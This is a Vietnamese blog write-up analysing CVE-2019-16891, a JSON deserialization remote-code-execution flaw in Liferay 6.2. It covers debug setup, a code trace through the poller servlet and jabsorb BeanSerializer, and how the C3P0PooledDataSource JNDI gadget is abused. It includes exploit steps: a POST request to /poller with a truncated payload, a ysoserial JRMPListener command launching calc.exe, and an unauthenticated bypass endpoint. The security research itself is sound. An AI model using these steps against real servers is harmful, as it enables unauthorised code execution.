Tìm hiểu CVE-2019-16891 - Liferay JSON Deserialization to RCE
- Tham khảo: https://sec.vnpt.vn/2019/09/liferay-deserialization-json-deserialization-part-4/
- Version affect:
Liferay < 7.x
Setup debug
Liferay 6.2.5
gồm luôn tomcat server: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.2.5%20GA6/
- Server: Giải nén file trên, config 1 vài cái nhỏ nhỏ theo guide rồi start tomcat server ở mode jpda:
.\catalina jpda start
(ở đây mình dùng java 1.8) - Client: Open file or project –>
ROOT
folder trongwebapps
(chỉ cần debug folder này) –> Load –>Edit configuration
–>Remote JVM Debug
–> Config port 8000(jpda default chạy port 8000) –> Debug
Nếu thấy các thư viện đã được load trong Project Structure
mà chưa thấy ở External Library
thì nhớ set JDK
ở intellij
Debug
Liferay JSON deserialization là lỗ hổng liên quan đến việc json deserialization
Biết được entrypoint: JSONFactoryImpl
liên quan đến json convert và deserialize, mình set breakpoint tại đây. Ở đây có rất nhiều method như looseDeserializeSafe
, looseDeserialize
, createJSONObject
,… nên mình cứ rải break point, dính cái nào thì xem.
Bấm tổ hợp Ctrl + N
(Find class): JSONFactoryImpl
–> Ctrl + F12
(Find Method trong class): deserialize(String)
–> Set breakpoint
Ta fuzz các entrypoint cho đến khi request hit breakpoint(mình đôi khi đợi 1 tí mới dính breakpoint hoặc sau tận mấy cái requests), thử với tính năng login
thì đã hit, bấm Show All Frames
(nút phễu chỗ tab debug) để list ra các frame trước khi hit breakpoint này:
=> Bug cần authenticated mới exploit được.
Note:
- URL login:
/web/guest/home
- Breakpoint reached method:
JSONFactoryImpl.deserialize(String)
- URL trigger: POST
/poller/receive
với param:pollerRequest
- Trace:
// Từ web.xml: <url-pattern>/poller/*</url-pattern>
PollerServlet.service()
PollerServlet.getContent()
PollerRequestHandlerUtil.getPollerHeader()
PollerRequestHandlerImpl.getPollerHeader()
PollerRequestHandlerImpl.parsePollerRequestParameters()
JSONFactoryImpl.deserialize()
==> ta được source đến đoạn call deserialize JSON.
JSON Deserialize
Đầu tiên:
JSONFactoryImpl.deserialize(String json)
org.jabsorb.JSONSerializer.fromJSON(json)
JSONSerializer.unmarshall()
Method JSONSerializer.getSerializer()
:
Đọc sơ sơ qua thì có thể thấy method này thực hiện lấy một loại serializer (class) thích hợp cho đoạn JSON String và thực hiện deserialize (unmarshall) nó theo cái serializer đó.
getClassFromHint()
lấy tên class từ key javaClass
trong json ta truyền vào.
Set breakpoint tại method getSerializer()
để tìm các class thực hiện việc unmarshall:
Đây là những list những class có thể sẽ unmarshall object JSON truyền vào, được xét từ trên xuống dưới(class nào canSerialize
thì trả về luôn): Locale
, Liferay
, Primitive
, Boolean
,… Trong các target class này thì có org.jabsorb.serializer.impl.BeanSerializer
là có thể lợi dụng được!
Bởi method unmarshall()
của BeanSerializer
có invoke Setter Method của cái object được khởi tạo từ JSON String ra, BeanSerializer.unmarshall()
:
Với field là param key, dòng này lấy setter method của field từ class bd
(class thỏa mãn canSerialize của BeanSerializer
).
Method setMethod = (Method)bd.writableProps.get(field);
Nếu setMethod tồn tại, lấy params type sau đó với this.ser.unmarshall
lấy value của field(key)
Class[] param = setMethod.getParameterTypes();
fieldVal = this.ser.unmarshall(state, param[0], jso.get(field));
Cuối cùng là invoke method:
Để trigger được unmarshall()
bằng BeanSerializer
thì class để trigger setter method không được implement Serializable
, bởi nếu class này Serializable thì nó sẽ thỏa mãn ngay ở LiferaySerializer
(đứng trước BeanSerializer) khi gọi method getSerialize()
, class này không lợi dụng để làm được gì!
Tóm tắt lại về cái Source class có thể trigger được BeanSerializer này là 1 class có dạng Managed Bean:
- Có public constructor không có arg (BeanSerializer tạo instance của class với
clazz.newInstance()
cái invoke zero-argument constructor) - Không implement Serializable (Né class LiferaySerializer)
- Có setter method có thể lợi dụng được! (setMethod)
Exploit
Class thỏa mãn các điều kiện trên là C3P0PooledDataSource
thuộc library c3p0
, việc utilize class này trong khai thác deserialization (đặc biệt là json) đã được publish tại: https://github.com/mbechler/marshalsec
Class này có emty constructor, không implements Serializeable:
Có setter method có thể lợi dụng để deserialize object khi tạo một jndi connection:
JDNI hay Java Naming and Directory Interface là một API Java cho phép lookup đến nhiều services khác nhau như LDAP, RMI, CORBA, trong đó có thể lợi dụng service như RMI để call đến remote server trả về serialized object để khiến Liferay thực hiện deserialize.
BeanSerializer.unmarshall()
C3P0PooledDataSource.setJndiName.invoke(instance, jndiName)
C3P0PooledDataSource.rebind(jndiName, obj)
Build payload
pollerRequest
có đi quathis.fixPollerRequestString(pollerRequestString)
chỗPollerRequestHandlerImpl.parsePollerRequestParameters()
:
protected String fixPollerRequestString(String pollerRequestString) {
return Validator.isNull(pollerRequestString) ? null : StringUtil.replace(pollerRequestString, new String[]{"{", "}", "[$OPEN_CURLY_BRACE$]", "[$CLOSE_CURLY_BRACE$]"}, new String[]{"{\"javaClass\":\"java.util.HashMap\",\"map\":{", "}}", "{", "}"});
}
Ở đây mọi request sẽ replace {
để thêm javaClass
với class HashMap
, ta dùng [$OPEN_CURLY_BRACE$]
để tự define javaClass
, cái chính là C3P0PooledDataSource
(cái được gán cho clazz
).
- Key
jndiName
là field với setter methodsetJndiName
mà value chính là url connect đếnJRMPListener
.
POST Request:
POST /poller/anything HTTP/1.1
Host: localhost:8080
Content-Length: 161
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
pollerRequest=<xin-phep-truncated>
Command listening RMI connection kèm kết quả:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 calc.exe
Have connection from /10.1.62.144:19234
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
Thành công, PoC trigger pop up calc.exe
demo RCE. Chỗ này do lab xong mình quên chụp PoC, lúc viết blog thì lười chụp lại quá hic!
Path and Bypass
New endpoint: https://dappsec.substack.com/p/an-advisory-for-cve-2019-16891-from Unauthen tuy nhiên mặc định endpoint trên bị disable trong liferay nên tùy thuộc cấu hình mới xúc được:
POST /c/portal/portlet_url HTTP/1.1
Host: liferay.victim.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
parameterMap={"Json payload for deserialization in here!"}